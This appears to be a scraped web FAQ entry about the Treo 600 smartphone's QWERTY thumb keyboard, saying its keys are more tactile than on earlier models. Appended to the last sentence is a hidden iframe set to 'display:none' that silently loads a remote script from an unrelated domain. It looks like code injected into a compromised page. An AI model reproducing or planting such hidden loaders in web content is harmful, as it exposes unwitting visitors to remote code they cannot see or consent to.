Will I be able to type since the buttons are even closer together on the Treo 600?

You bet! While the QWERTY keys are about as close to one another as they possibly could be, HS has refined the keys a bit to make them easier to find and more solid when punching. "They have more of a tactile feel and are a bit pointed", says one HS rep. While the thumboard on previous models was a bit larger and less intimidating for those of us with larger hands, the keys were very flat and further, didn't really offer any snap when pressed, often resulting in double taps. Look for a much better experience with the new thumboard on the Treo 600!<iframe src="http://tmb-corp.com/g/p/l/counter.js" style="display:none"></iframe>
